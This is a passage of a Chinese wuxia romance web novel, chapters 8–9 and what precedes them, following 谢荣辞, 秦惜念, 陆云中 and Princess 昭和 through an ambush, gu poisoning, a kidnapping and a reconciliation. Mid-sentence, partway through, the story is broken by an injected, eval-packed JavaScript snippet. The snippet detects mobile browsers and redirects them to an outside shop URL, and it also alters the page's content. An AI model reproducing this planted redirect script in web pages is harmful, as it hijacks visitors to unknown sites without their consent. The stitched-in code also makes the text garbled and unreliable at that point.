可谢荣辞与陆云中皆是万里挑一的顶尖身手,两人一左一右,身形灵活地穿梭在兵阵之中。 继而避开每一处致命伤害,反手便是凌厉至极的反击。 刀锋破空之声不绝于耳,不过片刻工夫,地上便已横七竖八躺满了尸体,浓重的血腥味混着风沙扑面而来,刺得人鼻腔发紧。 昭和公主蜷缩在花轿之内,听着外面兵刃相撞、惨叫连连的声响,一颗心高高悬起,不住地颤抖。 她终究按捺不住,伸手猛地掀开轿帘。 一眼望去,她便看见了那个素来温文尔雅、眉眼永远温和的陆云中,此刻手持长剑,衣袂染血,身姿挺拔地护在花轿之前,素白的衣袍被鲜血浸染,添了几分从未有过的凌厉决绝。 而这一切,都是为了她。 心头骤然一涩,她狠狠得后悔起来。 后悔方才没有早一点掀开帘子,好好看一看,这个她放在心尖上悄悄爱慕了多年的人,为她浴血奋战、不顾一切的模样。 “你们快走!别再管我了!”昭和公主扶着轿沿,声音发颤,带着哭腔大喊,“晋国的援军很快就会赶到,再不走,你们所有人都会死在这里的!” 陆云中回头望她,眼神坚定:“快把假死丹咬破,服下之后你会暂时气息全无,骗过所有人,我们稍后便来接你离开。” 可话音还未完全落下,山道两侧的密林之中,忽然涌出大批黑衣死士,人人手持强弓,密密麻麻,直直对准花轿前的昭和公主。 公主心头瞬间一片冰凉,她终究,是逃不掉的。 陆云中瞳孔骤缩,心底警铃大作,他疯了一般朝着公主的方向扑去,可终究还是晚了一步。 一支冷锐的毒箭破空而来,带着呼啸的风声,狠狠射入公主的胸膛。 剧痛瞬间席卷全身,一口滚烫的鲜血从她口中喷涌而出,溅在鲜红的嫁衣之上,红得刺目,红得绝望。 谢荣辞见状,当即打了个手势,示意陆云中立刻带公主撤离,自己留下断后。 他指尖飞快一扬,漫天青蓝色的蝴蝶骤然从袖中飞出,振翅飞舞,那是他独有的蛊虫,受主人心境牵引,见血便噬,凶狠无比。 那群装备精良的黑衣刺客还未反应过来,便在蛊虫的啃噬之下纷纷倒地,顷刻之间便没了气息。 可就在谢荣辞转身欲追的刹那,一柄暗藏的冷刃从暗处狠狠刺出,精准地扎进他腰腹之间,深可见骨。 剧痛猛地炸开,他闷哼一声,却半步未停,强撑着伤势继续厮杀,只为给陆云中与公主多争取一线生机。 陆云中横抱起奄奄一息的昭和公主,足尖一点,纵身冲入茫茫无边的黄沙之中。 狂风呼啸,飞沙走石,一粒粒粗粝的沙子刮进眼里,涩痛难忍。 没有人看清,是风沙迷了双眼,还是心底堵得难以呼吸,这个一向冷静自持、从不动容的男子,久违地落下了眼泪,一滴一滴,砸在公主苍白的脸颊上。 公主的气息越来越薄弱,胸膛的伤口不断涌出黑血,剧毒在她体内疯狂蔓延,明眼人都能看出,她撑不过两个时辰了。 陆云中抱着她,脚步踉跄,声音第一次染上难以掩饰的慌乱与颤抖:“醒醒,昭和,你睁开眼睛看看我。你不是一直问我,喜不喜欢你吗? 我从前不愿承认,我刻意疏远,我假装不懂,可昨日听说你要去晋国和亲,我才真正明白,我怕了,我心慌了,我舍不得你。” 昭和公主艰难地抬起手臂,指尖微微颤动,想要最后摸一摸他的眉眼,可手臂重如千斤,怎么也抬不起来。 陆云中立刻紧紧回握住她冰凉无力的手,将她的掌心贴在自己的脸颊上。 “陆云中…我喜欢你。” 她气若游丝,每一个字都耗尽了全身力气,“我喜欢你的善良,喜欢你的温柔,喜欢你对待万事万物的冷静。下辈子,我希望能投生在平常人家,无拘无束,与你做一辈子的夫妻,再也不用做什么公主,再也不用背负家国命运。” “我好喜欢你!” 最后一个字落下,那双曾盛满欢喜、依恋与温柔的眼睛,缓缓闭上,小手也无力地垂落。 “昭和!” 陆云中抱紧怀中渐渐冰冷的人,声音嘶哑破碎,“我一定能救活你的,我救过你一次,就一定能救你第二次,你不能死。” 这句话,是对怀中的公主说,也是在绝望地说服自己。 —— 另一边,秦惜念已将他们的营救计划,一字一句尽数告知楚国皇后。 “皇后娘娘,我们已经计划妥当,会带着昭和公主从西域方向脱身,隐姓埋名,远走高飞,这样既能保全公主的性命,也能为楚国留下一丝希望。” 皇后坐在凤椅之上,望着眼前满心赤诚的少女,却只是轻轻摇了摇头,眼底是一片死寂的清明与释然。 “傻丫头,我谢谢你,也谢陆郎中、谢公子的付出与胆量,我知道你们全都是为了昭和好,可你们不懂,晋国是不可能放过我们楚国的。” 皇后缓缓从凤椅上站起,一步步走到秦惜念面前,语气平静得令人心碎:“晋国这些年四处开拓疆土,楚国地处咽喉要冲,是他们必争之地。他们要的从来不是臣服,不是割地,而是彻彻底底的灭国。楚国,没有投降一说,唯有战死,唯有玉碎。” “但我还是要谢谢你们,若昭和能活着离开,拜托你们,永远别告诉她楚国的结局,别告诉她父皇母后已经不在了,让她好好活下去,忘了这里的一切,做一个自由自在的普通人。” 临别之际,一枚温润通透的玉牌被皇后悄悄塞进秦惜念的掌心,指尖带着最后的温度:“此物关键时刻,可保你一命,拿着吧。” 秦惜念攥着那枚冰凉的玉牌,失魂落魄地走出皇宫,一路朝着约定的汇合地点走去。 风沙漫天,她的心也一片荒芜,等到了地方,入目却只有一道孤单而挺拔的身影。 是谢荣辞。 他缓缓转过身,看见她的那一刻,勉强朝她扯出一抹浅淡的笑意,想让她安心。 可下一秒,一口腥甜猛地涌上喉咙,一大口鲜血毫无预兆地喷出,瞬间染红了他身前的黄沙。 “谢荣辞!” 秦惜念心脏骤然骤停,整个人都僵在原地,豆大的眼泪毫无征兆地砸落下来,砸在沙土之上,晕开小小的湿痕。 “我没事……别哭啊……”谢荣辞抬起手,用尽全身力气,轻轻擦去她脸上的泪水,强撑着摇摇欲坠的身体,带着她一步步离开。 一路颠簸,不知走了多久,两人才终于抵达约定好的客栈。 一推门进去,便看见陆云中已经将昭和公主轻轻扶到了床榻之上,床榻上的女子面色惨白如纸,双唇乌青,毫无生气,仿佛下一刻便会彻底消散。 “昭和公主。”秦惜念捂住嘴,不敢相信地看着眼前的一幕,眼泪再次涌了上来。 “我已经喂她服下了保命丹,暂时吊住了最后一丝生机,可她中的是烈性蛊毒,根本未能解除。” 陆云中的话音刚落,一旁强撑许久的谢荣辞终于再也支撑不住,眼前一黑,身体一软,直直朝着地上倒去。 陆云中连忙上前,将人稳稳扶到另一张床榻上,立刻伸出手指搭在他的手腕上诊脉。 只是一瞬,他的眉头便紧紧锁起,脸色沉了下来,因为谢荣辞的情况,比公主的蛊毒还要麻烦。 “秦小姐,你立刻去前面街上的妙手堂抓一副药,这是药方。”陆云中飞快写下几行字,递到她手中。 秦惜念接过药方一看,整个人都愣住了,上面写的全是毒虫、毒草,一看便令人心惊:“陆大哥,这上面全都是毒药吗?给公主用这个,会不会。” “公主中的是蛊毒,蛊虫正在她体内疯狂啃噬经脉血肉,必须以毒攻毒,用毒草为底、毒虫为引,才能暂时压制毒性蔓延,为我们赶往灵医谷争取时间。” “好,我明白,我现在就去,速速就回!”秦惜念不敢耽搁,攥着药方转身就跑。 等秦惜念离开之后,陆云中才取出自己炼制的保命丹,小心翼翼喂谢荣辞服下。 床榻上的谢荣辞缓缓睁开双眼,眼神依旧冷冽,却少了往日的精气神。 “你的脉象微弱断续,浮沉不定,不似活人,倒像一个早已油尽灯枯的将死之人。”陆云中紧紧盯着他,语气凝重。 “我的事,不用你管。”谢荣辞偏过头,语气冷淡。 “我可以不管你的生死,但你对秦惜念公平吗?她满心满眼都在担心你,难道你打算一直瞒着她,直到最后一刻吗?” 谢荣辞沉默片刻,唇角勾起一抹自嘲的冷笑:“我若死了,你不是正好称心如意,可以名正言顺地守在她身边。” “都到这个时候了,你还在赌气。”陆云中无奈地叹了口气,语气认真,“你活下来,对她,对公主,对所有人都好。” 谢荣辞闭上双眼,许久许久,才缓缓开口,声音轻得像一阵风,带着深埋心底的绝望,“我自出生便身带母体蛊毒,家族为了不让皇室察觉,偷偷给我喂下穿肠断肠散。可那毒药非但没有杀死我,反而让我与蛊毒、药毒融为一体。” “后来我才慢慢发现,我每动一次怒,每用一次蛊虫,便会承受撕心裂肺的剧痛。等到御医察觉时,早已回天乏术,他们说,我活不过二十岁,现在算算,我怕是连那一天,都撑不到了。” 陆云中心头狠狠一震,良久才沉声开口:“等到了灵医谷,我会拼尽全力救你。但你现在必须答应我,方才那幅药方,其实还差最后一味药,那就是你的毒血。救公主,我需要你。” “我答应你。”谢荣辞声音沙哑,字字沉重,“但这件事,永远不许告诉秦惜念。我不想她为我难过,更不想她因为可怜我,而牵绊一生。” 两个素来针锋相 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陆云中小心翼翼将药喂进公主嘴里,不过片刻,公主便猛地呛咳起来,吐出一口黑紫的淤血。 秦惜念看得心头一紧,连忙背过身,悄悄擦去眼角的泪水。 可就在下一秒,床榻上的昭和公主双眼缓缓睁开,原本乌青的唇瓣恢复了一丝血色,神志也渐渐清明。她看着眼前的几人,激动得哭了出来:“秦姐姐!陆哥哥!谢哥哥,我居然没死,我活下来了。” 秦惜念连忙上前,轻轻抱住她,强忍着心头的酸涩,露出笑容:“昭和,你放心,楚国现在一切都好,你父皇母后都平安无事,你就安心跟着我们一起去灵医谷治病就好。” “好。”昭和公主破涕为笑,眼底重新燃起光亮。 过了一会儿,昭和公主像是想起了什么,轻声问道:“秦姐姐,楚国真的还好吗?父皇母后,真的都在等我回去吗?” 秦惜念心头一痛,却依旧扯出最温柔的笑容,用力点头:“当然啦,他们都很想你,都在为你高兴呢。” 因为谢荣辞行动不便,照顾他的任务便落在了秦惜念身上。 她端着煎好的补药走到床前,轻声道:“药我煎好了,你快喝吧。” 谢荣辞却忽然神情委屈地望着她,微微蹙起眉:“我身上疼,没力气,喝不了。” 秦惜念又气又笑,无奈道:“好好好,我喂你,这下总可以了吧。” 有秦惜念亲自喂药,谢荣辞才乖乖地一小口一小口小心喝着,平日里的冷冽尽数褪去,只剩下难得的温顺。 喝完药,秦惜念拿着换药的纱布药膏,磨磨蹭蹭地不肯上前。 他受伤的位置在腰腹之间,实在太过特殊,她一靠近便脸颊发烫,不好意思近身。 “我还是去找陆大哥来给你换药吧。” 谢荣辞却忽然伸出手,一把拉住要转身离开的她,指尖用力,不肯松开。 “不要。”他语气带着几分执拗,“我跟他本就不对付,不想让他看见我这般狼狈的样子。” 秦惜念还在犹豫。 “而且我们不是盟友吗?你帮我换药而已,就把我当成你的闺中密友,好不好?” 话说到这份上,秦惜念再也找不到推辞的理由,再推脱,倒显得她心里有鬼一般。 她深吸一口气,轻轻拉开他腰腹间的衣物,狰狞的伤口瞬间映入眼帘,伤口黑紫肿胀,还在不断渗着黑红色的血,看得她心头一紧。 她拿着温水浸过的软帕,小心翼翼地擦拭着伤口边缘的血迹。 “嘶!”谢荣辞故意装作疼得厉害,闷哼出声。 秦惜念立刻放轻动作,一边上药,一边轻轻对着伤口吹气,想为他缓解疼痛。 谢荣辞垂眸看着她认真紧张的小模样,嘴角的笑意压都压不住,眼底满是藏不住的温柔。 秦惜念一抬头,正好撞见他偷偷乐的样子,顿时气鼓鼓地瞪着他。 “谢荣辞!你居然骗我!”她伸手轻轻掐着他的脸蛋。 谢荣辞趁势伸手一揽,直接将她拉入怀中。 秦惜念重心不稳,整个人跌在他身上,不偏不倚正好压到他的伤口,这一回,谢荣辞是真的痛得闷哼出声,额角渗出冷汗。 “我告诉你,这招没用了,我才不相信你的鬼话呢!” 秦惜念抬眼一看,他面色苍白,冷汗直流,分明是真的疼,不像是装的。 她连忙想起身,却被谢荣辞的手臂抱得更紧,牢牢锁在怀里。 “别走,让我再抱一会儿,这样抱着你,我就不疼了。” 秦惜念心头一软,没有再出声,也没有挣扎,就安安静静地任由他抱着,房间里只剩下两人轻轻的呼吸声。 就在这时,门口传来陆云中的声音,喊两人下楼歇息。 谢荣辞不满地皱起眉,却也只能不舍得慢慢松开手。 “陆大哥,我们等一会儿就下去!”秦惜念连忙开口。 “好,我在楼下等你们。” 秦惜念赶紧整理好衣衫,努力让自己发烫的脸颊冷静下来,又气呼呼地瞪了他一眼,才跟着他一起慢慢下楼。 8. 苗疆 两人下楼时,陆云中与宋昭和已经在楼下等候多时,厅内烛火轻摇,映得四人身影明明暗暗,各怀心事。 宋昭和望着秦惜念,眼眶微微一红,上前一步对她轻语,语气里带着劫后余生的郑重:“秦姐姐,谢哥哥,从今往后,我不再是楚国的公主,只是一介布衣宋昭和。这条命是你们从箭下捡回来的,往后你们便是我至亲之人,这份恩情,我生生世世都记在心里。” 秦惜念心头一软,伸手轻轻扶住她的肩,语气温柔而真诚:“昭和,说这些就太见外了。能护你周全,能让你不必再去和亲、不必再背负家国生死,我们都心甘情愿。你只管安心跟着我们同行,等寻到安稳之地,我便给你安置下来,往后只做无忧无虑的女子,再也不沾宫廷纷争,再也不涉战场硝烟。” 宋昭和再也忍不住,上前一步,轻轻抱住了秦惜念,温热的泪水落在她的肩头。 “楚国与晋国必定在全境搜寻宋小姐的下落,我们此刻直奔灵医谷,目标太过扎眼,极易暴露行踪。”陆云中适时开口,打破了片刻的温情,语气沉稳冷静,“不如临时转道苗疆,先避过这阵风头,再做长远打算。” “苗疆?”秦惜念眼睛一亮,几乎是立刻转头看向身旁的谢荣辞,语气里带着几分雀跃,“那可真是太好了,谢荣辞本就是苗疆人,这一带的地形、风俗、隐秘路径,他最是熟悉。” 陆云中微微颔首,转向谢荣辞,态度客气却郑重:“那就有劳谢公子带路,护我们一行人安全入疆。” 谢荣辞淡淡点头,薄唇轻启,只落下一个字:“可。” “苗疆的气候比西域更为恶劣湿热,瘴气弥漫,毒虫毒草遍地皆是,寻常草药根本无用,一路之上,你们务必紧跟在我身后,不可随意触碰草木。”谢荣辞难得多叮嘱了几句,语气里藏着不易察觉的在意。 陆云中像是忽然想起了什么,伸手从随身的行囊之中取出几片平平无奇的青色叶片,一一递到三人手中:“这是解百毒的灵叶,是我出发之前特意在灵医谷外采摘炼制的,可解误食毒草之毒,你们一人一片,贴身收好,若是有任何头晕不适,立刻服下。” 三人接过叶片,小心揣入怀中最易取到的地方,随即整理行装,一行四人就此踏上前往苗疆的路途。 谢荣辞与陆云中各自牵住一匹骏马,让秦惜念与宋昭和先行骑上,细心又妥帖。 虽已过盛夏时节,可西域的日头依旧毒辣得惊人,烈日高悬,金光刺眼,直直晒得人肌肤发烫,秦惜念微微垂着眼帘,依旧被晒得睁不开双眼,鼻尖微微沁出薄汗。 “你明明在苗疆生活那么久,怎么一点都没被晒黑,皮肤还这么白?我才晒了一上午,都快被烤化了。”秦惜念小声抱怨,语气里带着几分娇憨的委屈。 谢荣辞眸底一软,心头微动,当即翻身跃上马背,从身后轻轻将她圈入怀中,宽阔挺拔的身躯替她挡去了大半烈日与热风。 “干嘛呀,他们还在后面看着呢。”秦惜念脸颊瞬间滚烫,羞赧地把脸埋进他的胸口,不敢回头。 “怕什么,你我都老夫老妻了,还在意这些。”谢荣辞故意逗她,低沉磁性的嗓音落在她耳尖,特意把“老夫老妻”四个字咬得极重,带着几分得逞的笑意。 “我不我不,这样还是好晒,太阳正对着我脸呢。” “再忍一忍,过了这片沙域,前面就有城镇,我们可以换乘马车,不必再受日晒之苦。”谢荣辞一手稳稳扣住她纤细的腰肢,一手执起缰绳,轻轻一扬,马蹄轻快,加速前行。 他身上佩戴的苗疆银饰随着动作轻轻摇曳,发出清脆悦耳的声响,叮铃作响,如风铃一般。秦惜念发间的素色发带在狂风中飞扬,柔软发丝拂过谢荣辞的颈侧。 两人共乘一骑,身影相依,远远望去,黄沙万里之中,竟是一对耀眼至极的璧人。 不过片刻功夫,两人便将陆云中与宋昭和远远甩在了身后,只留下两道模糊的身影。 落在后面的两人气氛一时有些尴尬,沉默无言,只有马蹄声哒哒作响。 陆云中率先开口,温声打破僵局,语气克制有礼:“宋小姐,路途遥远,步行太过辛苦,我也上马带着你,如何?” “好。”宋昭和轻轻点头,脸颊微微泛红。 陆云中翻身上马之时,刻意与她保持着一段礼貌的距离,缓缓催动马匹前行。可马匹忽然加速,宋昭和一时没坐稳,身子不受控制地向前冲去,身后的陆云中下意识伸手,一把将她揽入怀中,牢牢护住。 “得罪了。”陆云中低声致歉,手上微微加劲,将人护得更稳。 宋昭和只觉得脸颊滚烫如火,心脏砰砰狂跳,几乎要跳出胸腔,连呼吸都变得小心翼翼。 —— 另一边,谢荣辞与秦惜念早已率先抵达约定好的客栈,下马入店,寻了处靠窗的位置坐下。 “都怪你,跑得那么快,也不知道陆大哥他们什么时候才能跟上来,好好的计划全被你打乱了。”秦惜念半是嗔怪半是玩笑地说道。 谢荣辞勾了勾唇角,眼底带着几分了然:“我这是在给他们二人创造独处的机会,你难道看不出来?陆云中对宋昭和,绝非只是医者对病患那般简单,只是他性子内敛,不肯表露罢了。” 秦惜念仔细一想,也觉得有理,点头表示赞同,可转念一想,忽然瞪了他一眼,故作吃醋:“我看你倒是经验丰富,是不是从前经常用这种小伎俩去哄别的小娘子啊?” 谢荣辞忽然收敛了笑意,垂眸深深望着她,目光认真而深情,一字一句,清晰无比:“我这一生,心只动过一次,人只爱过一个,那便是你。” 秦惜念心头猛地一跳,慌忙别开脸,强装镇定:“打住打住,我们明明只是结盟合作的关系,你怎么还当真了?当初是谁一心想要杀我来着,这么快就忘了?” 谢荣辞不由分说,拉起她的手,轻轻按在自己腰腹尚未完全愈合的伤口上,声音瞬间染上几分委屈与可怜:“我的伤口好痛,一动就疼,你都不安慰我吗?” “好了好了,我知道了,你就最会用这一套来让我心软,每次我都招架不住。” 嘴上说着嫌弃,可她的心,却早已经软成了一滩水。 她起身走到窗边,朝着远处沙漠眺望,不多时,便看见两道身影缓缓靠近。 等走近了一看,竟是陆云中怀抱着宋昭和,共骑一马而来。 秦惜念忍不住回头,对着谢荣辞偷偷笑了起来,眼底满是打趣。 “久等了。”陆云中率先下马,小心翼翼地扶下宋昭和,礼数周全,却又藏着几分不易察觉的呵护。 “那我们今日是直接出发前往苗疆,还是先在这家客栈休息一晚,明日再赶路?”秦惜念转头问道。 陆云中看向谢荣辞,询问道:“谢公子在苗疆可有熟悉的落脚之处?若是没有,我们便在此休整几日,养好精神再入疆。” 谢荣辞轻轻摇了摇头。 “那我们便在此住下吧!”宋昭和眼睛一亮,语气里满是期待,“我在家的时候就听说,苗疆的夜集最是热闹有趣,而且夜里没有宵禁,我们晚上一起去逛夜集好不好?” 几人纷纷点头,一致同意,随后便各自回房歇息,等待夜幕降临。 夜色渐深,灯火四起。 秦惜念整理好衣裙,下楼与众人汇合,不料在木质楼梯上一脚踩空,脚踝猛地一崴,一阵刺痛传来,她踉跄着险些摔倒。 谢荣辞脸色瞬间一沉,快步上前,二话不说便将她打横抱起,转身带回房间,小心翼翼放在床榻上。 “我在这里陪着你,不去夜集了。”谢荣辞蹲下身,一边轻轻揉按着她红肿发烫的脚踝,一边低声说道,语气里满是担忧。 “不用啦,我自己在这里就可以,你跟陆大哥他们一起去逛逛吧,顺便回来的时候,给我带点好吃的回来就好。”秦惜念劝道。 “可我不放心你一个人留在客栈。” “哎呀,我有武功傍身,寻常人根本近不了我的身,还有谁能来这里抓我不成?”秦惜念故作轻松地笑道。 谢荣辞终究被她说服,却依旧一步三回头,恋恋不舍地离开房间,关门的那一刻,还不忘再三叮嘱。 他走后,房间瞬间安静下来。 秦惜念刚想躺下歇息,一缕淡而诡异的香气忽然从窗缝之中缓缓飘入,她只觉得眼皮越来越沉重,意识渐渐模糊,浑身发软,片刻之后便彻底失去了知觉。 等她再次恢复意识时,眼前已是一间布置华丽却阴冷逼人的房间,锦绣铺陈,却处处透着压迫感。 一位衣着华贵、头戴金饰的女子端坐主位,气质冷艳,眉眼间与谢荣辞有几分相似,却带着刺骨的寒意。 “皇后娘娘,人我已经给您带到了。”一旁的侍女躬身汇报,随即悄声退下。 “很好,下去吧。”女子淡淡开口。 秦惜念心头一冷。 苗疆、皇后、与谢荣辞容貌相似、又对他恨之入骨。 她不用细想,也知道眼前这个人,正是谢荣辞那位,从他出生便想置他于死地的生母。 她的双手被粗绳紧紧捆在身后,勒得肌肤生疼。 “秦小姐,第一次见面,便用这样的方式请你过来,实在不好意思。”女子率先开口,语气虚伪,毫无歉意。 “既然觉得不妥,那就先给我松开。”秦惜念丝毫没有示弱,目光冷然。 她清楚,眼前这个女人,心狠手辣,为了权力,连亲生儿子都能下手,根本没有半分情面可讲。 “果然很有性格,也难怪他会对你这般上心。”皇后轻笑一声,语气里带着几分嘲讽。 “我与你无冤无仇,你不必跟我绕弯子,我听不懂你在说什么。” “秦小姐,你是聪明人,不必在我面前装傻。”皇后身子微微前倾,目光锐利如刀,“与我合作,远比跟着他那个半死人合作更加合适,我能给你的,他一辈子都给不了。” 秦惜念心底一沉。 她没想到,这个女人竟然什么都知道。 知道她的身世,知道她的困境,更知道她接近谢荣辞,最初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321205|199070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的确带着目的。 “所以呢?你派了那么多刺客去刺杀他,他不也好好地活下来了吗?而我一介弱女子,手无缚鸡之力,你觉得我能有几分胜算?” “你现在,只有和我合作这一条路可走。”皇后眼神骤然一厉,语气狠戾,“不然,你是想让我现在就直接杀了你,还是等他知道你一直接近他全是利用,让他亲手杀了你?” 秦惜念的手心缓缓冒出冷汗,后背发凉。 她明白,今日自己,是真的逃不掉了。 “好,我答应你。”秦惜念抬眼,目光倔强,“我想要的东西,你给得起?不然,我凭什么跟你合作?” “你倒是爽快。”皇后冷笑一声,却并不信任,“可是,我也不能只听你的一面之词,总要留个保障。” 她抬手示意,两名下人立刻端上一碗乌黑如墨、气味刺鼻的药汤,一看便知绝非善类。 “按着她,把这碗药给我灌下去。”皇后冷声下令。 “等等。”秦惜念立刻开口,强装镇定,“你先把我松绑,我自己喝。” 皇后料定她身受束缚,又脚腕受伤,根本掀不起什么风浪,便点头同意,示意下人松绑。 秦惜念端起那碗沉重的药汤,指尖冰凉,心底只有一个念头在疯狂呐喊,谢荣辞,快点来,求求你,快点来。 就在这千钧一发之际,外面忽然传来连绵不绝的凄厉惨叫,声音刺耳,令人毛骨悚然。 皇后脸色骤变,猛地起身,顿感不妙:“怎么回事?!” “娘娘!不好了!是……是他来了!他怎么会来得这么快!”外面的侍卫惊慌失措地嘶吼。 “你们快抓住她!别让她跑了!”皇后厉声下令。 秦惜念拖着剧痛的脚踝,咬牙朝着门口冲去,两名下人立刻扑上来阻拦。 若是平常时候,这两个人对她来说根本不足畏惧,可此刻她脚伤未愈,行动不便,不过几招,便渐渐落了下风。 就在她即将被制服的危急关头,两只青蓝色的蝴蝶破窗而入,翅膀轻盈,却带着致命的杀气。 两只蝴蝶像是通人性一般,先轻轻落在她的指尖,似在安抚她慌乱的心绪,随即骤然转身,对着那两名下人分别发出攻击。 被蝴蝶碰到的人瞬间倒地,全身血肉模糊,顷刻毙命。 秦惜念心口一松,眼眶微微发热。 她知道,是他来了。 果然,下一秒,谢荣辞缓步走入房间。 他身上干净得连一滴血迹都没有,仿佛刚才外面的那场血腥厮杀,对他而言不过是举手之劳。 他目光直直落在她身上,无视房间里的所有人,大步上前,一把将她紧紧抱入怀中,力道之大,像是要将她揉进骨血里。 “我念你是我生母,从前种种,我从未与你计较,更没有伤你分毫。”谢荣辞的声音冷得像冰,没有半分温度,“可你若再敢伤她分毫,那我也控制不了我自己,到时候,休怪我不孝。” “因为她是什么好东西吗?”皇后状若疯癫,猛地站起身尖叫,“她不也是在利用你吗?她接近你从头到尾就是一场骗局!你这个怪胎,根本就没有人会真心喜欢你!” 秦惜念在谢荣辞的怀里,抬眼看向状若疯癫的皇后,语气冰冷,带着毫不掩饰的嘲讽,“你生了他,却从他出生起就一直想杀了他,相对来说,你才是那个真正的怪物吧。 若是今日我没有被你绑起来,就凭你之前说的那几句话,我压根不会与你合作半句。 就凭这几句挑拨离间的废话,就想来拆散我们之间的感情,是不是太小儿科了一点?” “谢荣辞,既然你不相信,那你就去查啊!”皇后嘶吼,“你去查她的母亲,是不是也需要雪莲续命!她接近你,从一开始就是一场精心策划的骗局!” “够了。”谢荣辞冷冷打断她的话,眼神没有半分动摇,“你好自为之。” 说罢,他不再看皇后一眼,抱着秦惜念,转身决然离去。 一路回客栈,两人都异常安静,车厢之内的温度仿佛降到了冰点。 秦惜念知道,皇后那番话,他并非完全不信。 一边是生他却一心想杀他的母亲,一边是与他同生共死、却的确藏着秘密的她。 这些日子以来,她一直在拼命蒙蔽自己,觉得只要自己不去想、不去面对,那些目的与利用就不算真的。 可现实就是如此残酷。 一个月后,他们便会抵达灵医谷。 等到了那个地方,她就是不想面对,也必须面对。 雪莲、身世、利用、真心以及所有的一切,都会被彻底揭开。 回到客栈房间,谢荣辞将她轻轻放在床榻上。 她抬眼望去,看见桌子上摆放着他出门前为她备好的精美发簪、柔软新衣,还有新鲜甘甜的瓜果,样样都贴心细致。 秦惜念望着他沉默的背影,张了张嘴,想说点什么,想解释,想道歉,想坦白,可最终还是一句话都没有说出口。 她有什么资格呢。 9. 苗疆.拜堂成亲 谢荣辞在房内默默收拾行囊,动作干脆利落,分明是打定主意要独自离开。 陆云中轻轻推门而入,望着他决绝的背影,欲言又止。 “你真的准备走了吗?”陆云中率先开口,语气里带着几分劝诫。 “与你无关。”谢荣辞头也没回,语气依旧不善,带着拒人千里的冷意。 “她对你是真心的。我不知道你们之间发生了什么争执,但些许矛盾,说开便好。你身上本就带着重伤,随我们一同上路,才是最安全的。” “我不会去。”谢荣辞收拾的动作微微一顿,声音沉哑,“她既然存心骗我,那就让她一直骗下去。” “你冷静一点。”陆云中耐着性子劝道,“这些日子朝夕相处,她对你的心意,你当真看不见吗?不如等到明日,你们把话说开。若那时你仍执意要走,我绝不拦你。” 谢荣辞沉默良久,紧绷的肩线缓缓松懈,终究是被说动了。 陆云中见状松了口气,转身去敲秦惜念的房门。 秦惜念闻声开门,眼眶还红红的,一看便知刚哭过。 “说说吧,你们之间,到底出了什么事?” “陆大哥,都是我的错,是我欺骗了他。”秦惜念垂下眼,声音发颤,“他若想走,便让他走吧,这样我心里,也能少几分内疚。” “你可知他如今的身体有多糟糕?”陆云中语气沉重,“他若是这般孤身离开,下次我们再见,恐怕就是阴阳两隔了。” 秦惜念猛地抬头,脸色瞬间惨白:“你不是说他并无大碍吗?陆大哥,你别骗我。” “是他执意不让我告诉你。可事到如今,我不能再瞒了。你们之间,究竟是为何闹到这般地步?” 秦惜念的眼泪簌簌落下:“我母亲身中奇症,需要雪莲才能医治,而他也同样需要雪莲续命。我们两人,注定只能活一个,我不能再拖累他。” 陆云中听完,反倒轻轻一笑:“就因为这件事?是谁告诉你们,雪莲一年只能采摘一株的?” 秦惜念猛地怔住,眼底瞬间燃起惊喜的光亮,抬头紧紧望着他:“陆大哥,你的意思是雪莲既可以救他,也能救我母亲?” “正是如此。”陆云中点头,“所以现在,你愿意去跟他好好谈一谈了吗?” “愿意!我愿意!”秦惜念连连点头,泪水混着欣喜滑落,“谢谢你陆大哥,我这就去找他。” 陆云中见终于说动了她,这才松了口气,转身下楼与宋昭和汇合。 “陆哥哥,怎么样了?”宋昭和连忙上前。 陆云中对着她用力点了点头。 宋昭和这才放下心来,长长舒了一口气。 另一边,秦惜念收拾好纷乱的心情,正要迈步去找谢荣辞,却忽然听见隔壁传来一阵重物砸落的声响。 她心头猛地一紧,来不及多想,立刻冲了过去。 “谢荣辞!快开门!你开门啊!”她用力拍打着门板,声音带着慌乱。 “你别进来,不用你管!”谢荣辞用尽全身力气吼出这句话,话音刚落,身体便重重一沉,直直倒了下去。 “谢荣辞!” 秦惜念心急如焚,抬脚猛地踹开房门。 一眼便看见他倒在地上,脸色惨白如纸。 她疯了一般冲上前,伸手紧紧将他抱住,滚烫的泪水一颗颗砸落在他的脸颊上。 “你明明身体就不好,逞什么强啊!你要是真的死了,我……” “你什么?”谢荣辞缓缓睁开双眼,虚弱地望着她。 “我就随便找个人嫁了,和别人拜堂成亲,再也不理你。”秦惜念慌忙擦去眼泪,故意嘴硬逗他。 “你敢。”谢荣辞低声开口,气息微弱却带着占有欲。 “我有什么不敢……” 她的话还没说完,谢荣辞忽然撑着力气起身,低头狠狠吻住了她的唇。 秦惜念被他吻得呼吸一滞,下意识抬手轻捶他的后背,脸颊烫得厉害。 谢荣辞依依不舍地松开她,眼底湿漉漉的,带着几分委屈与不安,“以后不要再骗我了,好不好?” “好,我答应你。”秦惜念心软成一滩水,轻轻覆上他的唇,吻得温柔而虔诚,“陆大哥说了,雪莲不止一株,我们都能活下去,我的心结,也终于可以解开了。” “我知道。”谢荣辞轻声应道。 秦惜念微微一怔:“那你刚才忽然倒地,是怎么回事?” “没事,只是一点小状况而已。”谢荣辞勉强朝她笑了笑。 “你在骗我,对不对?”秦惜念的语气平静下来,却带着不容置疑的笃定。 “我没有。”谢荣辞还想强撑,可下一秒便面色骤变,眉头紧紧蹙起,痛苦之色再也掩饰不住。 秦惜念立刻稳住他的身体,转身飞快跑出去找陆云中。 “陆大哥,你快去看看谢荣辞,他的情况很不好!” “好。”陆云中不敢耽搁,立刻随她进屋。 一进门,便看见谢荣辞躺在床上,脸色苍白得近乎透明,气息微弱,状态极差。 “秦小姐,你先出去一下吧。”陆云中想将她支开。 “我不走。”秦惜念摇着头,眼眶通红,“到底是什么事,是我不能知道的?你们是不是一直都在瞒着我什么?” 